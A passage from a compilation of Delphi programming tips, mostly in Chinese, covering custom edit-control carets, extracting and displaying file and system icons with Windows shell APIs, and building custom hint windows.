CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);
ShowCaret(WindowHandle);
end;
if TheMessage = WM_KILLFOCUS then begin
HideCaret(WindowHandle);
DestroyCaret;
end;
if TheMessage = WM_KEYDOWN then begin
if ParamW = VK_BACK then
CreateCaret(WindowHandle, Form1.CaretBmBk.Handle, 0, 0) else
CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0);
ShowCaret(WindowHandle);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
{Create a smiling bitmap using the wingdings font}
CaretBm := TBitmap.Create;
CaretBm.Canvas.Font.Name := 'WingDings';
CaretBm.Canvas.Font.Height := Edit1.Font.Height;
CaretBm.Canvas.Font.Color := clWhite;
CaretBm.Width := CaretBm.Canvas.TextWidth('J') + 2;
CaretBm.Height := CaretBm.Canvas.TextHeight('J') + 2;
CaretBm.Canvas.Brush.Color := clBlue;
CaretBm.Canvas.FillRect(Rect(0, 0, CaretBm.Width, CaretBm.Height));
CaretBm.Canvas.TextOut(1, 1, 'J');
{Create a frowming bitmap using the wingdings font}
CaretBmBk := TBitmap.Create;
CaretBmBk.Canvas.Font.Name := 'WingDings';
CaretBmBk.Canvas.Font.Height := Edit1.Font.Height;
CaretBmBk.Canvas.Font.Color := clWhite;
CaretBmBk.Width := CaretBmBk.Canvas.TextWidth('L') + 2;
CaretBmBk.Height := CaretBmBk.Canvas.TextHeight('L') + 2;
CaretBmBk.Canvas.Brush.Color := clBlue;
CaretBmBk.Canvas.FillRect(Rect(0,
0,
CaretBmBk.Width,
CaretBmBk.Height));
CaretBmBk.Canvas.TextOut(1, 1, 'L');
{Hook the edit controls window procedure}
OldEditsWindowProc := Pointer(SetWindowLong(Edit1.Handle,
GWL_WNDPROC,
LongInt(@NewWindowProc)));
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
{Unhook the
edit controls window procedure and clean up}
SetWindowLong(Edit1.Handle,
GWL_WNDPROC,
LongInt(OldEditsWindowProc));
CaretBm.Free;
CaretBmBk.Free;
end;

end.
///////////////////////////////////////////////////////////////////////////////////
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,toolsapi,
StdCtrls, ExtCtrls, Buttons, RxHook, AppEvnts;

const
wm_newcaret=wm_user+1;
type
TForm1 = class(TForm)
Edit1: TEdit;
Image1: TImage;
RxWindowHook1: TRxWindowHook;
procedure RxWindowHook1AfterMessage(Sender: TObject; var Msg: TMessage;
var Handled: Boolean);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.RxWindowHook1AfterMessage(Sender: TObject;
var
Msg: TMessage; var Handled: Boolean);
begin
if msg.Msg=wm_setfocus
then
begin
CreateCaret(edit1.Handle,image1.Picture.Bitmap.Handle,edit1.width,edit1.height);
showcaret(edit1.handle);
handled:=true;
end;
end;
/////////////////////////////////////////////////////////////////////////////////////////////
unit
Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, AppEvnts;
const
wm_newcaret=wm_user+1;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Image1: TImage;
ApplicationEvents1: TApplicationEvents;
procedure Edit1Enter(Sender: TObject);
procedure ApplicationEvents1Activate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure newcaret(var msg:Tmessage);message wm_newcaret;
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Edit1Enter(Sender: TObject);
begin
postmessage(handle,wm_newcaret,0,0);
end;

procedure TForm1.newcaret(var msg: Tmessage);
begin
edit1.setfocus;
CreateCaret(edit1.Handle,image1.Picture.Bitmap.Handle,edit1.width,edit1.height);
showcaret(edit1.handle);
end;

procedure TForm1.ApplicationEvents1Activate(Sender:
TObject);
begin
CreateCaret(edit1.Handle,image1.Picture.Bitmap.Handle,edit1.width,edit1.height);
showcaret(edit1.handle);
end;

end.


获取窗口图标

 Getclasslong(winhandle,GCL_hicon);


使用windows的通用图标作为窗体图标
CoDelphi.com

摘　要：如何把信息框中的图标放到你的窗体的标题栏上
关键字：图标 窗体 Win-API
类　别：API
在窗体的OnCreate 事件中加入以下代码:

{------}
procedure TForm1.FormCreate(Sender: TObject);
begin
Self.Icon.Handle := LoadIcon(0, IDI_WARNING);
end;
{------}

在上例中，使用了黄色的三角形

其它可以使用的图标有:

IDI_APPLICATION
IDI_ASTERISK
IDI_EXCLAMATION (= IDI_WARNING)
IDI_HAND
IDI_QUESTION
IDI_WINLOGO

投稿人：codelphi.com　投稿日期：2001-4-24 18:11:00


让程序在不同分辨率下拥有不同的图标

我们知道，几乎好多程序都有几个图标（你用VC打开它的EXE就可以看到),
但是用Delphi如何实现呢？
以下是源代码：

Application.Initialize;
Application.CreateForm(TForm1, Form1);
CASE GetDeviceCaps(GetDC(Form1.Handle), HORZRES) of
640 : Application.Icon.Handle := LoadIcon (hInstance, 'ICON640');

800 : Application.Icon.Handle := LoadIcon (hInstance, 'ICON800');

1024 : Application.Icon.Handle := LoadIcon (hInstance, 'ICON1024')
;
1280 : Application.Icon.Handle := LoadIcon (hInstance, 'ICON1280')
;
END;
Application.Run;


修改EXE文件图标

参考Delphi自带的例子程序Resxplor

API:
BOOL UpdateResource(
HANDLE hUpdate, // 用BeginUpdateResource获得的Handle
LPCTSTR lpType, // 资源类型名称(例如 RT_ICON, RT_ANIICON, 等)
LPCTSTR lpName, // 需要修改的资源的名称
WORD wLanguage, // 资源的语言类型, 可以使用MAKELANGID构造
LPVOID lpData, // 存放资源的二进制数据的地址
DWORD cbData // 用字节描述的数据的长度
);

还需要参考
BeginUpdateResource,
EndUpdateResource,
LoadIcon,
LoadString,
LockResource,
MAKEINTRESOURCE,
MAKELANGID,
SizeofResource


从文件中提取图标

首先声明一个API:
Function SHChangeIconDialog(hOwner:hwnd;szFilename:pchar;Reserved:longint; var lpIconIndex:Longint):Longint;stdcall;external 'shell32' index 62;

function TForm1.GetIconFromExe(ExeName:string):HIcon;
Var
ic:longint;
idx:integer;
Exe:Pchar;
begin
getmem(Exe,255);
Exe:=pchar(ExeName);  //参数可以为空串,看看结果是什么?
ic:=SHChangeIconDialog(handle,Exe,0,idx);
if ic<>0 then
//成功调用
result:=extracticon(0,Exe,idx);
end;

这样使用:
imgicon.Picture.Icon.Handle:=GetIconFromExe('xxx.exe');

///////////////////////////////////////////////////////////////////////////
type ThIconArray = array[0..0] of hIcon;
type PhIconArray = ^ThIconArray;

function ExtractIconExA(lpszFile: PAnsiChar;
nIconIndex: Integer;
phiconLarge : PhIconArray;
phiconSmall: PhIconArray;
nIcons: UINT): UINT; stdcall;
external 'shell32.dll' name 'ExtractIconExA';

function ExtractIconExW(lpszFile: PWideChar;
nIconIndex: Integer;
phiconLarge: PhIconArray;
phiconSmall: PhIconArray;
nIcons: UINT): UINT; stdcall;
external 'shell32.dll' name 'ExtractIconExW';

function ExtractIconEx(lpszFile: PAnsiChar;
nIconIndex: Integer;
phiconLarge : PhIconArray;
phiconSmall: PhIconArray;
nIcons: UINT): UINT; stdcall;
external 'shell32.dll' name 'ExtractIconExA';

procedure TForm1.Button1Click(Sender: TObject);
var
NumIcons : integer;
pTheLargeIcons : phIconArray;
pTheSmallIcons : phIconArray;
LargeIconWidth : integer;
SmallIconWidth : integer;
SmallIconHeight : integer;
i : integer;
TheIcon : TIcon;
TheBitmap : TBitmap;
begin
NumIcons :=
ExtractIconEx('C:\Program Files\Borland\Delphi 3\BIN\delphi32.exe',
-1,
nil,
nil,
0);
if NumIcons > 0 then begin
LargeIconWidth := GetSystemMetrics(SM_CXICON);
SmallIconWidth := GetSystemMetrics(SM_CXSMICON);
SmallIconHeight := GetSystemMetrics(SM_CYSMICON);
GetMem(pTheLargeIcons, NumIcons * sizeof(hIcon));
GetMem(pTheSmallIcons, NumIcons * sizeof(hIcon));
FillChar(pTheLargeIcons^, NumIcons * sizeof(hIcon), #0);
FillChar(pTheSmallIcons^, NumIcons * sizeof(hIcon), #0);
ExtractIconEx('C:\Program Files\Borland\Delphi 3\BIN\delphi32.exe',
0,
pTheLargeIcons,
pTheSmallIcons,
numIcons);
{$IFOPT R+}
{$DEFINE CKRANGE}
{$R-}
{$ENDIF}
for i := 0 to (NumIcons - 1) do begin
DrawIcon(Form1.Canvas.Handle,
i * LargeIconWidth,
0,
pTheLargeIcons^[i]);
TheIcon := TIcon. Create;
TheBitmap := TBitmap.Create;
TheIcon.Handle := pTheSmallIcons^[i];
TheBitmap.Width := TheIcon.Width;
TheBitmap.Height := TheIcon.Height;
TheBitmap.Canvas.Draw(0, 0, TheIcon);
TheIcon.Free;
Form1.Canvas.StretchDraw(Rect(i * SmallIconWidth,
100,
(i + 1) * SmallIconWidth,
100 + SmallIconHeight),
TheBitmap);
TheBitmap.Free;
end;
{$IFDEF CKRANGE}
{$UNDEF CKRANGE}
{$R+}
{$ENDIF}
FreeMem(pTheLargeIcons, NumIcons * sizeof(hIcon));
FreeMem(pTheSmallIcons, NumIcons * sizeof(hIcon));
end;
end;

end.
//////////////////////////////////////////////////////
var
TheIcon: TIcon;
begin
TheIcon := TIcon.Create;
TheIcon.Handle := ExtractIcon(hInstance,
'C:\SOMEPATH\SOMEPROG.EXE',
0);
{Do something with the icon}
TheIcon.Free;
end;


获取同文件关联的图标

WINSHELLAPI DWORD WINAPI SHGetFileInfo(
LPCSTR pszPath,
DWORD dwFileAttributes,
SHFILEINFO FAR *psfi,
UINT cbFileInfo,
UINT uFlags
);
它的作用是：取回文件系统中的一个对象的信息，对象可以是文件、文件夹、
目录或驱动器的根目录。经过三个多小时的调试，我终于完全弄明白怎样取
得并显示一个文件的图标了：包括大图标、小图标，象资源管理器上的那样。
操作过程大体如下：
var ShFileInfo: TSHFILEINFO;
FileList:TListView;
begin
...
Result := FileList.Items.Add;
with Result do
begin
Caption:=filename;
ShGetFileInfo(pchar(vartostr(filename)), 0, SHFileInfo, SizeOf(SHFileInfo),
SHGFI_SMALLICON or SHGFI_SYSICONINDEX or SHGFI_TYPENAME)=0 then
showmessage('error in shgetfileinfo');
ImageIndex := SHFileInfo.iIcon;
end;
...
end;
这是最关键的几个地方，中间省略了许多细节。
另：我在6月17日的笔记里提到ExtractAssociatedIcon()和ExtractIcon()函数，
也可以提取文件的图标，但是速度比这个方法要慢上许多，而且我不会用它们提
取小图标。
//////////////////////////////////////////////////////////////
uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);
var
Icon : hIcon;
IconIndex : word;

begin
Icon := ExtractAssociatedIcon(HInstance,
'C:\SomePath\SomeFile.ext',
IconIndex);
DrawIcon(Form1.Canvas.Handle, 10, 10, Icon);
end;


使用动态图标

 在应用程序的编写中，组合框（ComboBox）、列表框（ListBox）、等常见的部件，通常不仅要用于显示文字，而且还要显示其与文字相关的图标。在一般的Windows应用程序中，这些图标的显示都要随列出的显示文本的变化而变化，例如在组合框中列出当前目录下的所有文件时，在组合框左边就显示与文件名相关联的图标，这就是所谓的动态图标。在Delphi中使用动态图标的步骤如下：
    一、图标的获取
    要使用动态图标，首先要解决的是如何获得显示文本和与其相关联的图标句柄。该图标通过文件关联由系统注册表决定，并且在Windows编程中同一文件(或子目录，或文件夹）在桌面上也可能有两种显示结果，这就是DOS文件名与显示名(Display Name)。如果我们的应用程序不需要有像Windows资源浏览器那样的效果，则可以使用FindFirst()和FindNext()二个函数以及FindClose()过程来获得DOS文件名，否则我们就应当使用WindowsAPI来获得显示名。在获得文件名的同时可通过使用ShellAPI.pas中的SHGetFileInfo()函数来获得其图标句柄HICON，说明如下：
    function SHGetFileInfo(pszPath: PAnsiChar; dwFileAttributes: DWORD;var psfi: TSHFileInfo; cbFileInfo,uFlags: UINT): DWORDl;
    pszPath 参数：指定的文件名。当uFlags的取值中不包含 SHGFI_PIDL时，可直接指定；否则pszPath要通过计算获得，不能直接指定；
     dwFileAttributes参数：文件属性，仅当uFlags的取值中包含SHGFI_USEFILEATTRIBUTES时有效，一般不用此参数；
    psfi 参数：返回获得的文件信息，是一个记录类型，有以下字段：
    hIcon: HICON; ／／文件的图标句柄
    iIcon: Integer; ／／图标的系统索引号
    dwAttributes: DWORD; ／／文件的属性值
    szDisplayName: array [0..MAX_PATH－1] of AnsiChar; ／／文件的显示名
    szTypeName: array [0..79] of AnsiChar; ／／文件的类型名
    cbFileInfo 参数：psfi的比特值；
    uFlags 参数：指明需要返回的文件信息标识符，常用的有以下常数：
    SHGFI_ICON; ／／获得图标
    SHGFI_DISPLAYNAME; ／／获得显示名
    SHGFI_TYPENAME; ／／获得类型名
    SHGFI_ATTRIBUTES;／／获得属性
    SHGFI_LARGEICON; ／／获得大图标
    SHGFI_SMALLICON; ／／获得小图标
    SHGFI_PIDL;／／ pszPath是一个标识符
    函数SHGetFileInfo()的返回值也随uFlags的取值变化而有所不同。通过调用SHGetFileInfo()可以由psfi参数得到文件的图标句柄，但要注意在uFlags参数中不使用SHGFI_PIDL时，SHGetFileInfo()不能获得"我的电脑"等虚似文件夹的信息。
    二、图标的加载
    使用Delphi提供的TImageList组件，通过调用CommCtrl .pas中的函数ImageList_AddIcon()来加载得到的图标，并要保证其索引号与显示文本相对应。说明如下：
    function ImageList_AddIcon(ImageList: HIMAGELIST; ／／加载图标的ImageList句柄
    Icon: Hicon ／／加载的图标句柄 ): Integer; ／／返回图标在ImageList中的索引号
    在需要指明图标索引号时可使用ImageList_AddIcon()的返回值。
    三、图标和文本的绘图式输出
    对于组合框、列表框等不能直接显示图标的组件，由于要求显示图标的同时又要同时显示文本，可通过设置其相应的Style属性达到目的，示例如下：
    组合框：ComboBox1.Style:=csOwnerDrawVariable根据实际使用经验最好不要在ObjectInspector窗体中直接设置，而应将代码添加在程序的适当位置,否则可能出现绘图区域高度不规则变化
    列表框：ListBox1.Style:=lbOwnerDrawVariable
    状态栏：StatusBar1.Panels[i].Style:= psOwnerDraw 不能使用简单状态栏，i是状态栏中要绘制图标的某一窗格索引号,图形输出可使用TImageList的ImageList1.Draw()方法，而文本输出则可使用TCanvas的TextOut()方法，它由组件的Canvas属性继承得到，显然没有Canvas属性的组件不能使用此方法显示图标。
    对于可直接显示图标的组件，直接指定其Images、StateImages等需要的图标属性为相应的TimageList组件名，并通过指定图标的索引号则可显示图标。需要注意的是：在使用大图标时，必须先调用TImageList的CreateSize()方法指定可加载图标的尺寸，并且在每次调用TImageList的Clear方法后都要重新调用CreateSize()。
    使用TImageList的ImageList1.Clear方法清除已加载的图标，常在需要刷新时使用。


获取系统图标

---- 大量的图标显示是Windows中的一大特色，丰富多彩的图标不仅美化了Windows的桌面，而且便于直观的操作，给用户带来了极大的方便。可以说在某种程度上，图标的地位已经超过了文件名的作用。

---- 但是，当我们用可视化编程工具进行Windows编程时，却很少有方便的方法来加载和显示图标。一般来说，在我们的应用程序中使用到图标资源时都是我们自己亲自绘制出来的。因此，在我们编的程序中使用到的图标是很有限的。我们知道Windows中有大量已知的系统图标，如文件夹的图标、磁盘驱动器的图标等等。熟悉Windows编程的朋友也许知道这些图标在Windows内部是有其特定的编号的，只要获取了这些编号就能够调用并显示对应的图标了。通过比较，我选择了Delphi中的ListView组件来显示图标，因为这种方法是最简单的。

---- 下面是一个例子，该程序在Delphi 4.0中编译通过。

---- 该演示程序可以显示各类Windows系统图标，包括文件图标、磁盘图标、文件夹图标、用户特定可执行文件图标（如：Delphi的火炬图标等等）。有趣的是，我们显示的这些图标没有一个需要我们自己亲自动手绘制。

---- 请先在Delphi环境下建立一个窗体Form1，并在Form1中添加一个按钮Button1和一个列表框ListView1；然后请设置ListView1的属性ViewStyle为vsIcon。

---- 源程序清单：

unit Unit1;

interface

uses
Windows, Messages, SysUtils,
Classes, Graphics, Controls,
Forms, Dialogs, ComCtrls,
StdCtrls, ShellAPI, ExtCtrls,
ImgList;

type
TForm1 = class(TForm)
ListView1: TListView;
Button1: TButton;
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

const
Test='C:\';
{ Test为测试数据，在本例中返回的是一个驱动器图标。读者
可以自行选择其他测试数据如：Test:='C:\Autoexec.bat'
等等。}

var
Form1: TForm1;
ShFileInfo: TSHFILEINFO;

implementation

{$R *.DFM}
function GetFileIconIndex
(FileName:string):integer;
{ 获取图标的序号函数 }
var
Ext:String;
begin
Ext:=FileName;
Result:=ShGetFileInfo(Pchar
(Ext), 0, SHFileInfo,
SizeOf(SHFileInfo), SHGFI_LARGEICON or
SHGFI_SYSICONINDEX or SHGFI_TYPENAME);
Result:=SHFileInfo.iIcon;
{ 返回获取的图标序号 }
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
with ListView1 do
begin
SmallImages:=TImageList.CreateSize(32,32);
SmallImages.ShareImages:=True;
SmallImages.Handle:=ShGetFileInfo('*.*',0,
SHFileInfo, SizeOf(SHFileInfo),
SHGFI_LARGEICON or
SHGFI_ICON or SHGFI_SYSICONINDEX);
LargeImages:=TImageList.CreateSize(32,32);
LargeImages.ShareImages:=True;
LargeImages.Handle:=ShGetFileInfo('*.*',0,
SHFileInfo, SizeOf(SHFileInfo),
SHGFI_LARGEICON or
SHGFI_ICON or SHGFI_SYSICONINDEX);
end;
{ 分配系统资源给ListView1组件以显示图标 }
end;

procedure TForm1.FormDestroy
(Sender: TObject);
begin
ListView1.SmallImages.Free;
ListView1.LargeImages.Free;
{
释放ListView1占用的系统资源 }
end;

procedure TForm1.Button1Click
(Sender: TObject);
begin
ListView1.Items.Item[0].
ImageIndex:=GetFileIconIndex(Test);
{
为ListView1中的第一个项目绘制图标 }
end;

end.


为应用程序添加提示

type
TForm1 = class(TForm)
Button1: TButton;
Panel1: TPanel;
Edit1: TEdit;
procedure FormActivate(Sender: TObject);
private
{ Private declarations }
public
procedure DisplayHint(Sender: TObject);
end;

implementation

{$R *.DFM}

procedure TForm1.DisplayHint(Sender: TObject);
begin
Panel1.Caption := Application.Hint;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
Application.OnHint := DisplayHint;

end;


立即显示提示

procedure TForm1.FormCreate(Sender: TObject);

begin
Application.HintPause:=0;//立即显示
Application.hinthidepause:=100000;//if not leave then 显示100秒
end;


改变提示的字体和色彩

 Delphi中TApplication的属性有HintColor及HintPause。可以通过设置HintColor改变应用程序中的Hint的颜色、通过设置HintPause改变触发Hint的时间。


用户定制的提示

   procedure TForm1.FormCreate(Sender: TObject);
begin
Timer1.Enabled :=
      false;
Panel1.Visible := false;
Panel1.BevelInner := bvNone;
Panel1.BevelOuter := bvNone;
Panel1.BorderStyle := bsSingle;
Panel1.Color := clWhite;
Button1.Hint := 'Hint test';
end;

   procedure TForm1.ShowAHint(x : integer;
y : integer;
Caption : string;
Duration : LongInt);
var
dc : hdc;
OldFont : hFont;
pt : TSize;
p : pChar;
begin
if Timer1.Enabled <> false then
Timer1.Enabled := false;
Timer1.Enabled :=
      false;
if Panel1.Visible <> false then
Panel1.Visible := false;
if Caption = '' then exit;
Panel1.Caption := caption;
{Get the width of the caption string}
GetMem(p, Length(Panel1.Caption) + 1);
StrPCopy(p, Panel1.Caption);
dc := GetDc(Panel1.Handle);
OldFont := SelectObject(dc, Panel1.Font.Handle);
GetTextExtentPoint32(dc, p, Length(Panel1.Caption), pt);
SelectObject(dc, OldFont);
ReleaseDc(Panel1.Handle, Dc);
FreeMem(p, Length(Panel1.Caption) + 1);
{Position and show the panel}
Panel1.Left := x;
Panel1.Top := y;
Panel1.Width := pt.cx + 6;
Panel1.Height := pt.cy + 2;
Panel1.Visible := true;
{Fire off the timer to hide the panel}
Timer1.Interval := Duration;
Timer1.Enabled := true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if Panel1.Visible <> false then
Panel1.Visible := false;
Timer1.Enabled := false;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
{Let the button repaint}
Application.ProcessMessages;
ShowAHint(Button1.Left,
Button1.Top + Button1.Height + 6,
Button1.Hint,
2000);
end;

HintWnd : THintWindow;

On the form's create do this:

HintWnd := THintWindow.Create(Self);

Free it on the form's destroy:

HintWnd.Free;

Then try this on the ListView's mouseMove:

procedure TForm1.ListView1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var
Item : TListItem;
Rec : TRect;
HintStr : string;
begin
Item := ListView1.GetItemAt(x,y);
if (Item<>nil) then
begin
HintStr := 'You are pointing at: '+Item.Caption;
Rec := HintWnd.CalcHintRect(640, HintStr, nil);
OffsetRect(Rec, Form1.Left, Form1.Top+20);

HintWnd.ActivateHint(Rec, HintStr);
end
else
HintWnd.ReleaseHandle;
end;

朱丽莺

在程序设计中，有时我们可能需要一种特定的提示窗口，但是系统提供的简单的提示窗口却不能满足需要，那么只能我们自己编写。本文介绍如何在Delphi中定制自己的提示窗口。

分析问题

应用程序在显示提示窗口之前，首先会创建一个提示窗口类(THintWindowClass)的全局实例(HintWindowClass)，即提示窗口对象(THintWindow)。我们可以创建提示窗口的子类，然后在程序启动时，将提示窗口类的全局变量设置为派生的提示窗口即可。

应用程序启动提示窗口时，提示窗口的函数调用顺序如下：首先调用CalcHintRect，用它来计算提示窗口的大小；然后，调用ActivateHint计算提示窗口的大小和位置，在该函数调用过程中会触发WM_NCPaint消息重画窗口客户区域；最后调用Paint函数，在屏幕上显示想要的提示内容。

在派生提示窗口子类时，可以重载THintWindow对象的方法和消息处理函数，此外，还可以通过响应WM_ERASEBKGND消息去掉背景重画的过程。

本文定制的提示窗口的效果如图1所示：

类定义

下面是一个派生的提示窗口类的定义，它的目的是创建一个圆角矩形的文字框加上一个三角形的尖角的提示窗口（见图1）。

TxyHintWindow = class(THintWindow)

private

FActivating: Boolean;

FHDirection: Boolean;

FVDirection: Boolean;

procedure WMNCPaint(var Message: TMessage); message WM_NCPAINT;

procedure WMEraseBkgnd(var Message:

TWmEraseBkgnd); message WM_ERASEBKGND;

protected

procedure Paint; override;

public

constructor Create(AOwner:TComponent);override;

procedure ActivateHint(Rect: TRect; const AHint: string); override;

function CalcHintRect(MaxWidth: Integer; const AHint: string;AData: Pointer): TRect; override;

end;

下面两个私有成员用来确定提示窗口的尖角方向，分别用来表左右和上下方向：

FHDirection: Boolean;

FVDirection: Boolean;

Controls单元中的THintWindow对象部分成员定义如下：

THintWindow = class(TCustomControl)

private

FActivating: Boolean;

procedure WMNCPaint(var Message:TMessage); message WM_NCPAINT;

protected

procedure Paint; override;

public

constructor Create(AOwner: TComponent);

override;

procedure ActivateHint(Rect: TRect; const

AHint: string); virtual;

function CalcHintRect(MaxWidth: Integer; const AHint: string;AData: Pointer): TRect; virtual;

end;

编程实现

下面是派生窗口类具体实现时的部分代码及其简单说明：

//设置提示窗口的背景颜色和字体大小

constructor TxyHintWindow.Create(AOwner:

TComponent);

begin

inherited Create(AOwner);

Color := ＄80FFFF;

Canvas.Font.Size := 14;

end;

//去掉窗口的背景重画的过程

procedure TxyHintWindow.WMEraseBkgnd(var

Message: TWmEraseBkgnd);

begin

Message.Result := 1;

end;

//显示提示窗口的内容

procedure TxyHintWindow.Paint;

var //最后调用该方法

R,

ArrowR, //尖角所在的矩形

TextR: TRect; //显示文字的矩形

RectRgn, //显示文字的圆角矩形区域

TPolyRgn, //尖角的多边形区域

ShadowRgn:HRgn; //阴影区域

AP:array[0..2] of TPoint; //尖角的顶点坐标

begin

R := ClientRect;

Inc(R.Left, 2);

Inc(R.Top, 2);

Canvas.Font.Color := clInfoText;

//额外高度为22

Canvas.Brush.Color := ＄80FFFF;

TextR := R;

ArrowR := R;

if FVDirection then

begin //向上

Inc(TextR.Top, 22);

ArrowR.Bottom := TextR.Top;

end；

else //向下

begin

ArrowR.Top := ArrowR.Bottom － 22;

TextR.Bottom := ArrowR.Top;

end;

if FHDirection then

begin //向左

if FVDirection then

begin

AP[0] := ArrowR.TopLeft;

AP[1].x := ArrowR.Left ＋ 10;

AP[2].x := ArrowR.Left ＋ 25;

AP[1].y := ArrowR.Bottom;

AP[2].y := ArrowR.Bottom;

end；

else

begin

AP[0].x := ArrowR.Left;

AP[0].y := ArrowR.Bottom;

AP[1].x := ArrowR.Left ＋ 10;

AP[2].x := ArrowR.Left ＋ 25;

AP[1].y := ArrowR.Top;

AP[2].y := ArrowR.Top;

end;

end；

else

begin //向右

if FVDirection then

begin

AP[0].x := ArrowR.Right;

AP[0].y := ArrowR.Top;

AP[1].x := ArrowR.Right － 10;

AP[2].x := ArrowR.Right － 25;

AP[1].y := ArrowR.Bottom;

AP[2].y := ArrowR.Bottom;

end；

else

begin

AP[0] := ArrowR.BottomRight;

AP[1].x := ArrowR.Right － 10;

AP[2].x := ArrowR.Right － 25;

AP[1].y := ArrowR.Top;

AP[2].y := ArrowR.Top;

end;

end;

//创建显示文字的圆角矩形区域

RectRgn := CreateRoundRectRgn(TextR.Left,

TextR.Top,TextR.Right,TextR.Bottom,10,10);

//创建三角形区域

TPolyRgn := CreatePolygonRgn(AP,3,WINDING);

//组合两个区域，使用RGN_OR操作

CombineRgn(RectRgn,RectRgn,TPolyRgn,

RGN_OR);

//填充区域

FillRgn(Canvas.Handle,RectRgn,Canvas.Brush.

Handle);

DeleteObject(RectRgn);

DeleteObject(TPolyRgn);

//在文字显示矩形中绘制提示文字

DrawText(Canvas.Handle, PChar(Caption), －1,

TextR,DT_VCENTER or DT_CENTER or DT_NOPREFIX or DT_WORDBREAK or DrawTextBiDiModeFlagsReadingOnly);

end;

procedure TxyHintWindow.ActivateHint(Rect: TRect; const AHint: string);

begin

//初始化尖角方向

FHDirection := True;

FVDirection := True;

FActivating := True;

try

Caption := AHint;

Inc(Rect.Bottom, 4);

UpdateBoundsRect(Rect);

//决定尖角方向

if Rect.Left < Screen.DesktopLeft then

begin

Rect.Left := Screen.DesktopLeft;

end;

if Rect.Top＋Height >Screen.DesktopHeight then

begin

Dec(Rect.Top, Height);

FVDirection := False; //向下

end;

if Rect.Left ＋Width >Screen.DesktopWidth then

begin

Dec(Rect.Left, Width);

FHDirection := False; //向右

end;

if Rect.Bottom < Screen.DesktopTop then

begin

Rect.Bottom := Screen.DesktopTop;

FVDirection := False;

end;

//设定窗口位置以及大小

SetWindowPos(Handle, HWND_TOPMOST,

Rect.Left, Rect.Top, Width, Height,

SWP_SHOWWINDOW or SWP_NOACTIVATE);

Invalidate;

finally

FActivating := False;

end;

end;

function TxyHintWindow.CalcHintRect(MaxWidth:

Integer; const AHint: string;AData: Pointer): TRect;

begin

//计算矩形区域

Result := Rect(0,0,Canvas.TextWidth(AHint),Canvas.TextHeight(AHint));

Inc(Result.Right, 22);

Inc(Result.Bottom, 10);

Dec(Result.Top, 15);

//清除上次提示窗口的残余图像

SetWindowPos(Handle, HWND_TOPMOST,

Result.Left, Result.Top, Width, Height,

SWP_HIDEWINDOW or SWP_NOACTIVATE);

Invalidate;

end;

需要注意的是：在计算提示窗口矩形大小时，应该清除上次提示窗口的残余图像。如果去掉这个调用，当窗口上两个控件距离很近时，移动鼠标就会发现多余的背景或者上次显示的残余图像。本例中，我们使用带SWP_HIDEWINDOW或SWP_NOACTIVATE标志的SetWindowPos函数。

另外，在处理WM_NCPAINT消息时，THintWindow绘制了一个有边框矩形，如果不想要这个边框矩形，那么在TxyHintWindow中可以什么也不做（不要继承）。

在Paint方法中，本例中使用区域进行显示，当然，如果愿意的话，也可以使用位图图像来绘制背景。

最后，加入如下所示的单元初始化代码：

initialization

HintWindowClass := TxyHintWindow;

注意：上面这行代码的效果将影响到Delphi的IDE所用到的提示窗口。参见图2和图3：

如果不希望有图2和图3这

procedure TxyHint.Loaded;

begin

if not (csDesigning in ComponentState) then

begin

inherited Loaded;

HintWindowClass := TxyHintWindow;

end;

end;


强制提示窗口出现

 var hintWnd: THintWindow;

procedure TForm1.ActivateHintNOW( x,y: Integer);
var rect: TRect;
begin
HintTxt := ''qq'';
if hintTxt <> '''' then
begin
rect := hintWnd.CalcHintRect( Screen.Width, hinttxt, nil);
rect.Left := rect.Left + x;
rect.Right := rect.Right + x;
rect.Top := rect.Top + y;
rect.Bottom := rect.Bottom + y;
hintWnd.ActivateHint( rect, hinttxt);
end;
end;

注释：要隐藏由对ActivateHint调用直接激活的提示窗口，可以用ReleaseHandle方法。

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:37:00


利用THintWindow来制作浮动Form

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

var
h : THintWindow;
r : TRect;
begin
with r do
begin
// 设置窗口位置
left := 100;
top := 50;
right := 200;
bottom := 100;
end;
h := THintWindow.Create( Self );
with h do
begin
// set the background color
Color := clRed;
ActivateHint( r, 'hi there!' );
// 把你的处理代码放在这里
MessageBox( 0,'Press any key to close the ' + 'hint window',
'THintWindow', MB_OK );
ReleaseHandle;
Free;
end;

end;
投稿人：bird　投稿日期：2001-6-19 8:36:00


THintWindow高级用法

THintWindow 的 ActivateHint 和 ActivateHintData 怎么用？

procedure ActivateHintData(Rect: TRect; const AHint: string; AData: Pointer); virtual;

AData 指的是什么？

能否给个具体例子？

多谢！

var

h : THintWindow;

r : TRect;

begin

with r do

begin

// set the position and size

// of the hint window

left := 10;

top := 50;

right := 200;

bottom := 100;

end;

h := THintWindow.Create( Self );

with h do

begin

// set the background color

Color := clRed;

ActivateHint( r, 'hi there!' );

// perform your tasks here

// before closing the hint window

MessageBox( 0,'Press any key to close the ' + 'hint window',

'THintWindow', MB_OK );

ReleaseHandle;

Free;

end;

end;

--------------------------------------------------------------------------------

来自：笑傲江湖 时间：01-1-20 8:57:10 ID:443232

AData 指的是什么？

能否给个具体例子？

----AData是一个(关联的)指针,

目前来说, ActivateHintData和ActivateHint等效, 因为AData参数被忽略.

